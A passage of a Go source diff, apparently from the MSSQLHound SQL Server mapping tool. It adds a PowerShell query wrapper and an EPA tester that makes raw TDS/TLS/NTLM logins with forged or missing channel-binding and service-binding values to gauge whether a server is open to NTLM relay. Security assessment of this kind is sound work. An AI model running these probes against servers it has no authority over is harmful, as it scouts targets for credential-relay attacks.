r.rows.Scan(dest...) } +func (r *nativeRows) Close() error { return r.rows.Close() } +func (r *nativeRows) Err() error { return r.rows.Err() } +func (r *nativeRows) Columns() ([]string, error) { return r.rows.Columns() } + +// psRows wraps PowerShell query results to implement the Rows interface +type psRows struct { + results []QueryResult + columns []string // Column names in query order (from QueryResponse) + current int + lastErr error +} + +func newPSRows(response *QueryResponse) *psRows { + r := &psRows{ + results: response.Rows, + columns: response.Columns, // Use column order from PowerShell response + current: -1, + } + return r +} + +func (r *psRows) Next() bool { + r.current++ + return r.current < len(r.results) +} + +func (r *psRows) Scan(dest ...interface{}) error { + if r.current >= len(r.results) || r.current < 0 { + return sql.ErrNoRows + } + + row := r.results[r.current] + + // Match columns to destinations in order + for i, col := range r.columns { + if i >= len(dest) { + break + } + if err := scanValue(row[col], dest[i]); err != nil { + r.lastErr = err + return err + } + } + return nil +} + +func (r *psRows) Close() error { return nil } +func (r *psRows) Err() error { return r.lastErr } +func (r *psRows) Columns() ([]string, error) { return r.columns, nil } + +// scanValue converts a PowerShell query result value to the destination type +func scanValue(src interface{}, dest interface{}) error { + if src == nil { + switch d := dest.(type) { + case *sql.NullString: + d.Valid = false + return nil + case *sql.NullInt64: + d.Valid = false + return nil + case *sql.NullBool: + d.Valid = false + return nil + case *sql.NullInt32: + d.Valid = false + return nil + case *sql.NullFloat64: + d.Valid = false + return nil + case *sql.NullTime: + d.Valid = false + return nil + case *string: + *d = "" + return nil + case *int: + *d = 0 + return nil + case *int64: + *d = 0 + return nil + case *bool: + *d = false + return nil + case *time.Time: + *d = time.Time{} + return nil + case *interface{}: + *d = nil + return nil + case *[]byte: + *d = nil + return nil + default: + return nil + } + } + + switch d := dest.(type) { + case *sql.NullString: + d.Valid = true + switch v := src.(type) { + case string: + d.String = v + case float64: + d.String = fmt.Sprintf("%v", v) + default: + d.String = fmt.Sprintf("%v", v) + } + return nil + + case *sql.NullInt64: + d.Valid = true + switch v := src.(type) { + case float64: + d.Int64 = int64(v) + case int: + d.Int64 = int64(v) + case int64: + d.Int64 = v + case bool: + if v { + d.Int64 = 1 + } else { + d.Int64 = 0 + } + default: + d.Int64 = 0 + } + return nil + + case *sql.NullInt32: + d.Valid = true + switch v := src.(type) { + case float64: + d.Int32 = int32(v) + case int: + d.Int32 = int32(v) + case int64: + d.Int32 = int32(v) + case bool: + if v { + d.Int32 = 1 + } else { + d.Int32 = 0 + } + default: + d.Int32 = 0 + } + return nil + + case *sql.NullBool: + d.Valid = true + switch v := src.(type) { + case bool: + d.Bool = v + case float64: + d.Bool = v != 0 + case int: + d.Bool = v != 0 + default: + d.Bool = false + } + return nil + + case *sql.NullFloat64: + d.Valid = true + switch v := src.(type) { + case float64: + d.Float64 = v + case int: + d.Float64 = float64(v) + case int64: + d.Float64 = float64(v) + default: + d.Float64 = 0 + } + return nil + + case *string: + switch v := src.(type) { + case string: + *d = v + default: + *d = fmt.Sprintf("%v", v) + } + return nil + + case *int: + switch v := src.(type) { + case float64: + *d = int(v) + case int: + *d = v + case int64: + *d = int(v) + default: + *d = 0 + } + return nil + + case *int64: + switch v := src.(type) { + case float64: + *d = int64(v) + case int: + *d = int64(v) + case int64: + *d = v + default: + *d = 0 + } + return nil + + case *bool: + switch v := src.(type) { + case bool: + *d = v + case float64: + *d = v != 0 + case int: + *d = v != 0 + default: + *d = false + } + return nil + + case *time.Time: + switch v := src.(type) { + case string: + // Try common date formats from PowerShell/JSON + formats := []string{ + time.RFC3339, + "2006-01-02T15:04:05.999999999Z07:00", + "2006-01-02T15:04:05Z", + "2006-01-02T15:04:05", + "2006-01-02 15:04:05", + "1/2/2006 3:04:05 PM", + "/Date(1136239445000)/", // .NET JSON date format + } + for _, format := range formats { + if t, err := time.Parse(format, v); err == nil { + *d = t + return nil + } + } + *d = time.Time{} + case time.Time: + *d = v + default: + *d = time.Time{} + } + return nil + + case *sql.NullTime: + d.Valid = true + switch v := src.(type) { + case string: + formats := []string{ + time.RFC3339, + "2006-01-02T15:04:05.999999999Z07:00", + "2006-01-02T15:04:05Z", + "2006-01-02T15:04:05", + "2006-01-02 15:04:05", + "1/2/2006 3:04:05 PM", + } + for _, format := range formats { + if t, err := time.Parse(format, v); err == nil { + d.Time = t + return nil + } + } + d.Valid = false + d.Time = time.Time{} + case time.Time: + d.Time = v + default: + d.Valid = false + d.Time = time.Time{} + } + return nil + + case *interface{}: + *d = src + return nil + + case *[]byte: // []uint8 is same as []byte + // Handle byte slices (used for binary data like SIDs) + bytesDest := dest.(*[]byte) + switch v := src.(type) { + case string: + // String from JSON - could be base64 or hex + *bytesDest = []byte(v) + case []byte: + *bytesDest = v + case []interface{}: + // PowerShell sometimes returns byte arrays as array of numbers + bytes := make([]byte, len(v)) + for i, b := range v { + if num, ok := b.(float64); ok { + bytes[i] = byte(num) + } + } + *bytesDest = bytes + default: + // Set to empty slice + *bytesDest = []byte{} + } + return nil + + default: + return fmt.Errorf("unsupported scan destination type: %T", dest) + } +} + +// QueryContext executes a query and returns rows +func (w *DBWrapper) QueryContext(ctx context.Context, query string, args ...interface{}) (Rows, error) { + if w.usePowerShell { + // PowerShell doesn't support parameterized queries well, so we only support queries without args + if len(args) > 0 { + return nil, fmt.Errorf("PowerShell mode does not support parameterized queries") + } + response, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return newPSRows(response), nil + } + + rows, err := w.db.QueryContext(ctx, query, args...) + if err != nil { + return nil, err + } + return &nativeRows{rows: rows}, nil +} + +// QueryRowContext executes a query and returns a single row +func (w *DBWrapper) QueryRowContext(ctx context.Context, query string, args ...interface{}) RowScanner { + if w.usePowerShell { + if len(args) > 0 { + return &errorRowScanner{err: fmt.Errorf("PowerShell mode does not support parameterized queries")} + } + response, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return &errorRowScanner{err: err} + } + if len(response.Rows) == 0 { + return &errorRowScanner{err: sql.ErrNoRows} + } + rows := newPSRows(response) + rows.Next() // Advance to first row + return rows + } + + return w.db.QueryRowContext(ctx, query, args...) +} + +// ExecContext executes a query without returning rows +func (w *DBWrapper) ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) { + if w.usePowerShell { + if len(args) > 0 { + return nil, fmt.Errorf("PowerShell mode does not support parameterized queries") + } + _, err := w.psClient.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + return &psResult{}, nil + } + + return w.db.ExecContext(ctx, query, args...) +} + +// psResult implements sql.Result for PowerShell mode +type psResult struct{} + +func (r *psResult) LastInsertId() (int64, error) { return 0, nil } +func (r *psResult) RowsAffected() (int64, error) { return 0, nil } + +// errorRowScanner returns an error on Scan +type errorRowScanner struct { + err error +} + +func (r *errorRowScanner) Scan(dest ...interface{}) error { + return r.err +} diff --git a/internal/mssql/epa_tester.go b/internal/mssql/epa_tester.go new file mode 100644 index 0000000..c913c4f --- /dev/null +++ b/internal/mssql/epa_tester.go @@ -0,0 +1,811 @@ +// Package mssql - EPA test orchestrator. +// Performs raw TDS+TLS+NTLM login attempts with controllable Channel Binding +// and Service Binding AV_PAIRs to determine EPA enforcement level. +// This matches the approach used in the Python reference implementation +// (MssqlExtended.py / MssqlInformer.py). +package mssql + +import ( + "context" + "encoding/binary" + "fmt" + "math/rand" + "net" + "strings" + "time" + "unicode/utf16" +) + +// EPATestConfig holds configuration for a single EPA test connection. +type EPATestConfig struct { + Hostname string + Port int + InstanceName string + Domain string + Username string + Password string + TestMode EPATestMode + Verbose bool +} + +// epaTestOutcome represents the result of a single EPA test connection attempt. +type epaTestOutcome struct { + Success bool + ErrorMessage string + IsUntrustedDomain bool + IsLoginFailed bool +} + +// TDS LOGIN7 option flags +const ( + login7OptionFlags2IntegratedSecurity byte = 0x80 + login7OptionFlags2ODBCOn byte = 0x02 + login7OptionFlags2InitLangFatal byte = 0x01 +) + +// TDS token types for parsing login response +const ( + tdsTokenLoginAck byte = 0xAD + tdsTokenError byte = 0xAA + tdsTokenEnvChange byte = 0xE3 + tdsTokenDone byte = 0xFD + tdsTokenDoneProc byte = 0xFE + tdsTokenInfo byte = 0xAB + tdsTokenSSPI byte = 0xED +) + +// Encryption flag values from PRELOGIN response +const ( + encryptOff byte = 0x00 + encryptOn byte = 0x01 + encryptNotSup byte = 0x02 + encryptReq byte = 0x03 + // encryptStrict is a synthetic value used to indicate TDS 8.0 strict + // encryption was detected (the server required TLS before any TDS messages). + encryptStrict byte = 0x08 +) + +// runEPATest performs a single raw TDS+TLS+NTLM login with the specified EPA test mode. +// This replaces the old testConnectionWithEPA which incorrectly used encrypt=disable. +// +// The flow matches the Python MssqlExtended.login(): +// 1. TCP connect +// 2. Send PRELOGIN, receive PRELOGIN response, extract encryption setting +// 3. Perform TLS handshake inside TDS PRELOGIN packets +// 4. Build LOGIN7 with NTLM Type1 in SSPI field, send over TLS +// 5. (For ENCRYPT_OFF: switch back to raw TCP after LOGIN7) +// 6. Receive NTLM Type2 challenge from server +// 7. Build Type3 with modified AV_PAIRs per testMode, send as TDS_SSPI +// 8. Receive final response: LOGINACK = success, ERROR = failure +func runEPATest(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, byte, error) { + logf := func(format string, args ...interface{}) { + if config.Verbose { + fmt.Printf(" [EPA-debug] "+format+"\n", args...) + } + } + + testModeNames := map[EPATestMode]string{ + EPATestNormal: "Normal", + EPATestBogusCBT: "BogusCBT", + EPATestMissingCBT: "MissingCBT", + EPATestBogusService: "BogusService", + EPATestMissingService: "MissingService", + } + + // Resolve port + port := config.Port + if port == 0 { + port = 1433 + } + + logf("Starting EPA test mode=%s against %s:%d", testModeNames[config.TestMode], config.Hostname, port) + + // TCP connect + addr := fmt.Sprintf("%s:%d", config.Hostname, port) + dialer := &net.Dialer{Timeout: 10 * time.Second} + conn, err := dialer.DialContext(ctx, "tcp", addr) + if err != nil { + return nil, 0, fmt.Errorf("TCP connect to %s failed: %w", addr, err) + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + tds := newTDSConn(conn) + + // Step 1: PRELOGIN exchange + preloginPayload := buildPreloginPacket() + if err := tds.sendPacket(tdsPacketPrelogin, preloginPayload); err != nil { + return nil, 0, fmt.Errorf("send PRELOGIN: %w", err) + } + + _, preloginResp, err := tds.readFullPacket() + if err != nil { + return nil, 0, fmt.Errorf("read PRELOGIN response: %w", err) + } + + encryptionFlag, err := parsePreloginEncryption(preloginResp) + if err != nil { + return nil, 0, fmt.Errorf("parse PRELOGIN: %w", err) + } + + logf("Server encryption flag: 0x%02X", encryptionFlag) + + if encryptionFlag == encryptNotSup { + return nil, encryptionFlag, fmt.Errorf("server does not support encryption, cannot test EPA") + } + + // Step 2: TLS handshake over TDS + tlsConn, sw, err := performTLSHandshake(tds, config.Hostname) + if err != nil { + return nil, encryptionFlag, fmt.Errorf("TLS handshake: %w", err) + } + logf("TLS handshake complete, cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite) + + // Step 3: Compute channel binding hash from TLS certificate + cbtHash, err := getChannelBindingHashFromTLS(tlsConn) + if err != nil { + return nil, encryptionFlag, fmt.Errorf("compute CBT: %w", err) + } + logf("CBT hash: %x", cbtHash) + + // Step 4: Setup NTLM authenticator + spn := computeSPN(config.Hostname, port) + auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn) + auth.SetEPATestMode(config.TestMode) + auth.SetChannelBindingHash(cbtHash) + logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username) + + // Generate NTLM Type1 (Negotiate) + negotiateMsg := auth.CreateNegotiateMessage() + logf("Type1 negotiate message: %d bytes", len(negotiateMsg)) + + // Step 5: Build and send LOGIN7 with NTLM Type1 in SSPI field + login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg) + logf("LOGIN7 packet: %d bytes", len(login7)) + + // Send LOGIN7 through TLS (the TLS connection writes to the underlying TCP) + // We need to wrap in TDS packet and send through the TLS layer + login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7) + if _, err := tlsConn.Write(login7TDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send LOGIN7: %w", err) + } + logf("Sent LOGIN7 (%d bytes with TDS header)", len(login7TDS)) + + // Step 6: For ENCRYPT_OFF, drop TLS after LOGIN7 (matching Python line 82-83) + if encryptionFlag == encryptOff { + sw.c = conn // Switch back to raw TCP + logf("Dropped TLS (ENCRYPT_OFF)") + } + + // Step 7: Read server response (contains NTLM Type2 challenge) + // After TLS switch, we read from the appropriate transport + var responseData []byte + if encryptionFlag == encryptOff { + // Read from raw TCP with TDS framing + _, responseData, err = tds.readFullPacket() + } else { + // Read from TLS + responseData, err = readTLSTDSPacket(tlsConn) + } + if err != nil { + return nil, encryptionFlag, fmt.Errorf("read challenge response: %w", err) + } + logf("Received challenge response: %d bytes", len(responseData)) + + // Extract NTLM Type2 from the SSPI token in the TDS response + challengeData := extractSSPIToken(responseData) + if challengeData == nil { + // Check if we got an error instead (e.g., server rejected before NTLM) + success, errMsg := parseLoginTokens(responseData) + logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: strings.Contains(errMsg, "Login failed"), + }, encryptionFlag, nil + } + logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData)) + + // Step 8: Process challenge and generate Type3 + if err := auth.ProcessChallenge(challengeData); err != nil { + return nil, encryptionFlag, fmt.Errorf("process NTLM challenge: %w", err) + } + logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain) + + authenticateMsg, err := auth.CreateAuthenticateMessage() + if err != nil { + return nil, encryptionFlag, fmt.Errorf("create NTLM authenticate: %w", err) + } + logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode]) + + // Step 9: Send Type3 as TDS_SSPI + sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg) + if encryptionFlag == encryptOff { + // Send on raw TCP + if _, err := conn.Write(sspiTDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err) + } + } else { + // Send through TLS + if _, err := tlsConn.Write(sspiTDS); err != nil { + return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err) + } + } + logf("Sent Type3 SSPI (%d bytes with TDS header)", len(sspiTDS)) + + // Step 10: Read final response + if encryptionFlag == encryptOff { + _, responseData, err = tds.readFullPacket() + } else { + responseData, err = readTLSTDSPacket(tlsConn) + } + if err != nil { + return nil, encryptionFlag, fmt.Errorf("read auth response: %w", err) + } + logf("Received auth response: %d bytes", len(responseData)) + + // Parse for LOGINACK or ERROR + success, errMsg := parseLoginTokens(responseData) + logf("Login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: strings.Contains(errMsg, "Login failed"), + }, encryptionFlag, nil +} + +// buildTDSPacketRaw creates a TDS packet with header + payload (for writing through TLS). +func buildTDSPacketRaw(packetType byte, payload []byte) []byte { + pktLen := tdsHeaderSize + len(payload) + pkt := make([]byte, pktLen) + pkt[0] = packetType + pkt[1] = 0x01 // EOM + binary.BigEndian.PutUint16(pkt[2:4], uint16(pktLen)) + // SPID, PacketID, Window all zero + copy(pkt[tdsHeaderSize:], payload) + return pkt +} + +// buildLogin7Packet constructs a TDS LOGIN7 packet payload with SSPI (NTLM Type1). +func buildLogin7Packet(hostname, appName, serverName string, sspiPayload []byte) []byte { + hostname16 := str2ucs2Login(hostname) + appname16 := str2ucs2Login(appName) + servername16 := str2ucs2Login(serverName) + ctlintname16 := str2ucs2Login("MSSQLHound") + + hostnameRuneLen := utf16.Encode([]rune(hostname)) + appnameRuneLen := utf16.Encode([]rune(appName)) + servernameRuneLen := utf16.Encode([]rune(serverName)) + ctlintnameRuneLen := utf16.Encode([]rune("MSSQLHound")) + + // loginHeader is 94 bytes (matches go-mssqldb loginHeader struct) + const headerSize = 94 + sspiLen := len(sspiPayload) + + // Calculate offsets + offset := uint16(headerSize) + + hostnameOffset := offset + offset += uint16(len(hostname16)) + + // Username (empty for SSPI) + usernameOffset := offset + // Password (empty for SSPI) + passwordOffset := offset + + appnameOffset := offset + offset += uint16(len(appname16)) + + servernameOffset := offset + offset += uint16(len(servername16)) + + // Extension (empty) + extensionOffset := offset + + ctlintnameOffset := offset + offset += uint16(len(ctlintname16)) + + // Language (empty) + languageOffset := offset + // Database (empty) + databaseOffset := offset + + sspiOffset := offset + offset += uint16(sspiLen) + + // AtchDBFile (empty) + atchdbOffset := offset + // ChangePassword (empty) + changepwOffset := offset + + totalLen := uint32(offset) + + // Build the packet + pkt := make([]byte, totalLen) + + // Length + binary.LittleEndian.PutUint32(pkt[0:4], totalLen) + // TDS Version (7.4 = 0x74000004) + binary.LittleEndian.PutUint32(pkt[4:8], 0x74000004) + // Packet Size + binary.LittleEndian.PutUint32(pkt[8:12], uint32(tdsMaxPacketSize)) + // Client Program Version + binary.LittleEndian.PutUint32(pkt[12:16], 0x07000000) + // Client PID + binary.LittleEndian.PutUint32(pkt[16:20], uint32(rand.Intn(65535))) + // Connection ID + binary.LittleEndian.PutUint32(pkt[20:24], 0) + + // Option Flags 1 (byte 24) + pkt[24] = 0x00 + // Option Flags 2 (byte 25): Integrated Security ON + ODBC ON + pkt[25] = login7OptionFlags2IntegratedSecurity | login7OptionFlags2ODBCOn | login7OptionFlags2InitLangFatal + // Type Flags (byte 26) + pkt[26] = 0x00 + // Option Flags 3 (byte 27) + pkt[27] = 0x00 + + // Client Time Zone (4 bytes at 28) + // Client LCID (4 bytes at 32) + + // Field offsets and lengths + binary.LittleEndian.PutUint16(pkt[36:38], hostnameOffset) + binary.LittleEndian.PutUint16(pkt[38:40], uint16(len(hostnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[40:42], usernameOffset) + binary.LittleEndian.PutUint16(pkt[42:44], 0) // empty username for SSPI + + binary.LittleEndian.PutUint16(pkt[44:46], passwordOffset) + binary.LittleEndian.PutUint16(pkt[46:48], 0) // empty password for SSPI + + binary.LittleEndian.PutUint16(pkt[48:50], appnameOffset) + binary.LittleEndian.PutUint16(pkt[50:52], uint16(len(appnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[52:54], servernameOffset) + binary.LittleEndian.PutUint16(pkt[54:56], uint16(len(servernameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[56:58], extensionOffset) + binary.LittleEndian.PutUint16(pkt[58:60], 0) // no extension + + binary.LittleEndian.PutUint16(pkt[60:62], ctlintnameOffset) + binary.LittleEndian.PutUint16(pkt[62:64], uint16(len(ctlintnameRuneLen))) + + binary.LittleEndian.PutUint16(pkt[64:66], languageOffset) + binary.LittleEndian.PutUint16(pkt[66:68], 0) + + binary.LittleEndian.PutUint16(pkt[68:70], databaseOffset) + binary.LittleEndian.PutUint16(pkt[70:72], 0) + + // ClientID (6 bytes at 72) - leave zero + + binary.LittleEndian.PutUint16(pkt[78:80], sspiOffset) + binary.LittleEndian.PutUint16(pkt[80:82], uint16(sspiLen)) + + binary.LittleEndian.PutUint16(pkt[82:84], atchdbOffset) + binary.LittleEndian.PutUint16(pkt[84:86], 0) + + binary.LittleEndian.PutUint16(pkt[86:88], changepwOffset) + binary.LittleEndian.PutUint16(pkt[88:90], 0) + + // SSPILongLength (4 bytes at 90) + binary.LittleEndian.PutUint32(pkt[90:94], 0) + + // Payload + copy(pkt[hostnameOffset:], hostname16) + copy(pkt[appnameOffset:], appname16) + copy(pkt[servernameOffset:], servername16) + copy(pkt[ctlintnameOffset:], ctlintname16) + copy(pkt[sspiOffset:], sspiPayload) + + return pkt +} + +// str2ucs2Login converts a string to UTF-16LE bytes (for LOGIN7 fields). +func str2ucs2Login(s string) []byte { + encoded := utf16.Encode([]rune(s)) + b := make([]byte, 2*len(encoded)) + for i, r := range encoded { + b[2*i] = byte(r) + b[2*i+1] = byte(r >> 8) + } + return b +} + +// parsePreloginEncryption extracts the encryption flag from a PRELOGIN response payload. +func parsePreloginEncryption(payload []byte) (byte, error) { + offset := 0 + for offset < len(payload) { + if payload[offset] == 0xFF { + break + } + if offset+5 > len(payload) { + break + } + + token := payload[offset] + dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2]) + dataLen := int(payload[offset+3])<<8 | int(payload[offset+4]) + + if token == 0x01 && dataLen >= 1 && dataOffset < len(payload) { + return payload[dataOffset], nil + } + + offset += 5 + } + return 0, fmt.Errorf("encryption option not found in PRELOGIN response") +} + +// extractSSPIToken extracts the NTLM challenge from a TDS response containing SSPI token. +// The SSPI token is returned as TDS_SSPI (0xED) token in the tabular result stream. +func extractSSPIToken(data []byte) []byte { + offset := 0 + for offset < len(data) { + tokenType := data[offset] + offset++ + + switch tokenType { + case tdsTokenSSPI: + // SSPI token: 2-byte length (LE) + payload + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + if offset+length > len(data) { + return nil + } + return data[offset : offset+length] + + case tdsTokenError, tdsTokenInfo: + // Variable-length token with 2-byte length + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenEnvChange: + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenDone, tdsTokenDoneProc: + offset += 12 // fixed 12 bytes + + case tdsTokenLoginAck: + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + default: + // Unknown token - try to skip (assume 2-byte length prefix) + if offset+2 > len(data) { + return nil + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + } + } + return nil +} + +// parseLoginTokens parses TDS response tokens to determine login success/failure. +func parseLoginTokens(data []byte) (bool, string) { + success := false + var errorMsg string + + offset := 0 + for offset < len(data) { + if offset >= len(data) { + break + } + tokenType := data[offset] + offset++ + + switch tokenType { + case tdsTokenLoginAck: + success = true + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenError: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + if offset+2+length <= len(data) { + errorMsg = parseErrorToken(data[offset+2 : offset+2+length]) + } + offset += 2 + length + + case tdsTokenInfo: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenEnvChange: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + case tdsTokenDone, tdsTokenDoneProc: + if offset+12 <= len(data) { + offset += 12 + } else { + return success, errorMsg + } + + case tdsTokenSSPI: + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + + default: + // Unknown token - try 2-byte length + if offset+2 > len(data) { + return success, errorMsg + } + length := int(binary.LittleEndian.Uint16(data[offset : offset+2])) + offset += 2 + length + } + } + + return success, errorMsg +} + +// parseErrorToken extracts the error message text from a TDS ERROR token payload. +// ERROR token format: Number(4) + State(1) + Class(1) + MsgTextLength(2) + MsgText(UTF16) + ... +func parseErrorToken(data []byte) string { + if len(data) < 8 { + return "" + } + // Skip Number(4) + State(1) + Class(1) = 6 bytes + msgLen := int(binary.LittleEndian.Uint16(data[6:8])) + if 8+msgLen*2 > len(data) { + return "" + } + // Decode UTF-16LE message text + msgBytes := data[8 : 8+msgLen*2] + runes := make([]uint16, msgLen) + for i := 0; i < msgLen; i++ { + runes[i] = binary.LittleEndian.Uint16(msgBytes[i*2 : i*2+2]) + } + return string(utf16.Decode(runes)) +} + +// runEPATestStrict performs an EPA test using the TDS 8.0 strict encryption flow. +// In TDS 8.0, TLS is established directly on the TCP socket before any TDS messages +// (like HTTPS), so PRELOGIN and all subsequent packets are sent through TLS. +// This is used when the server has "Enforce Strict Encryption" enabled and rejects +// cleartext PRELOGIN packets. +func runEPATestStrict(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, error) { + logf := func(format string, args ...interface{}) { + if config.Verbose { + fmt.Printf(" [EPA-debug] "+format+"\n", args...) + } + } + + testModeNames := map[EPATestMode]string{ + EPATestNormal: "Normal", + EPATestBogusCBT: "BogusCBT", + EPATestMissingCBT: "MissingCBT", + EPATestBogusService: "BogusService", + EPATestMissingService: "MissingService", + } + + port := config.Port + if port == 0 { + port = 1433 + } + + logf("Starting EPA test mode=%s (TDS 8.0 strict) against %s:%d", testModeNames[config.TestMode], config.Hostname, port) + + // TCP connect + addr := fmt.Sprintf("%s:%d", config.Hostname, port) + dialer := &net.Dialer{Timeout: 10 * time.Second} + conn, err := dialer.DialContext(ctx, "tcp", addr) + if err != nil { + return nil, fmt.Errorf("TCP connect to %s failed: %w", addr, err) + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(30 * time.Second)) + + // Step 1: TLS handshake directly on TCP (TDS 8.0 strict) + // Unlike TDS 7.x where TLS records are wrapped in TDS PRELOGIN packets, + // TDS 8.0 does a standard TLS handshake on the raw socket. + tlsConn, err := performDirectTLSHandshake(conn, config.Hostname) + if err != nil { + return nil, fmt.Errorf("TLS handshake (strict): %w", err) + } + logf("TLS handshake complete (strict mode), cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite) + + // Step 2: Compute channel binding hash from TLS certificate + cbtHash, err := getChannelBindingHashFromTLS(tlsConn) + if err != nil { + return nil, fmt.Errorf("compute CBT: %w", err) + } + logf("CBT hash: %x", cbtHash) + + // Step 3: Send PRELOGIN through TLS (in strict mode, all TDS traffic is inside TLS) + preloginPayload := buildPreloginPacket() + preloginTDS := buildTDSPacketRaw(tdsPacketPrelogin, preloginPayload) + if _, err := tlsConn.Write(preloginTDS); err != nil { + return nil, fmt.Errorf("send PRELOGIN (strict): %w", err) + } + + preloginResp, err := readTLSTDSPacket(tlsConn) + if err != nil { + return nil, fmt.Errorf("read PRELOGIN response (strict): %w", err) + } + + encryptionFlag, err := parsePreloginEncryption(preloginResp) + if err != nil { + logf("Could not parse encryption flag from strict PRELOGIN response: %v (continuing)", err) + } else { + logf("Server encryption flag (strict): 0x%02X", encryptionFlag) + } + + // Step 4: Setup NTLM authenticator + spn := computeSPN(config.Hostname, port) + auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn) + auth.SetEPATestMode(config.TestMode) + auth.SetChannelBindingHash(cbtHash) + logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username) + + negotiateMsg := auth.CreateNegotiateMessage() + logf("Type1 negotiate message: %d bytes", len(negotiateMsg)) + + // Step 5: Build and send LOGIN7 with NTLM Type1 through TLS + login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg) + login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7) + if _, err := tlsConn.Write(login7TDS); err != nil { + return nil, fmt.Errorf("send LOGIN7 (strict): %w", err) + } + logf("Sent LOGIN7 (%d bytes with TDS header) (strict)", len(login7TDS)) + + // Step 6: Read server response (NTLM Type2 challenge) - always through TLS + responseData, err := readTLSTDSPacket(tlsConn) + if err != nil { + return nil, fmt.Errorf("read challenge response (strict): %w", err) + } + logf("Received challenge response: %d bytes", len(responseData)) + + // Extract NTLM Type2 from SSPI token + challengeData := extractSSPIToken(responseData) + if challengeData == nil { + success, errMsg := parseLoginTokens(responseData) + logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: strings.Contains(errMsg, "Login failed"), + }, nil + } + logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData)) + + // Step 7: Process challenge and generate Type3 + if err := auth.ProcessChallenge(challengeData); err != nil { + return nil, fmt.Errorf("process NTLM challenge: %w", err) + } + logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain) + + authenticateMsg, err := auth.CreateAuthenticateMessage() + if err != nil { + return nil, fmt.Errorf("create NTLM authenticate: %w", err) + } + logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode]) + + // Step 8: Send Type3 as TDS_SSPI through TLS + sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg) + if _, err := tlsConn.Write(sspiTDS); err != nil { + return nil, fmt.Errorf("send SSPI auth (strict): %w", err) + } + logf("Sent Type3 SSPI (%d bytes with TDS header) (strict)", len(sspiTDS)) + + // Step 9: Read final response through TLS + responseData, err = readTLSTDSPacket(tlsConn) + if err != nil { + return nil, fmt.Errorf("read auth response (strict): %w", err) + } + logf("Received auth response: %d bytes", len(responseData)) + + // Parse for LOGINACK or ERROR + success, errMsg := parseLoginTokens(responseData) + logf("Login result: success=%v, error=%q", success, errMsg) + return &epaTestOutcome{ + Success: success, + ErrorMessage: errMsg, + IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"), + IsLoginFailed: strings.Contains(errMsg, "Login failed"), + }, nil +} + +// readTLSTDSPacket reads a complete TDS packet through TLS. +// When encryption is ENCRYPT_REQ, TDS packets are wrapped in TLS records. +func readTLSTDSPacket(tlsConn net.Conn) ([]byte, error) { + // Read TDS header through TLS + hdr := make([]byte, tdsHeaderSize) + n := 0 + for n < tdsHeaderSize { + read, err := tlsConn.Read(hdr[n:]) + if err != nil { + return nil, fmt.Errorf("read TDS header through TLS: %w", 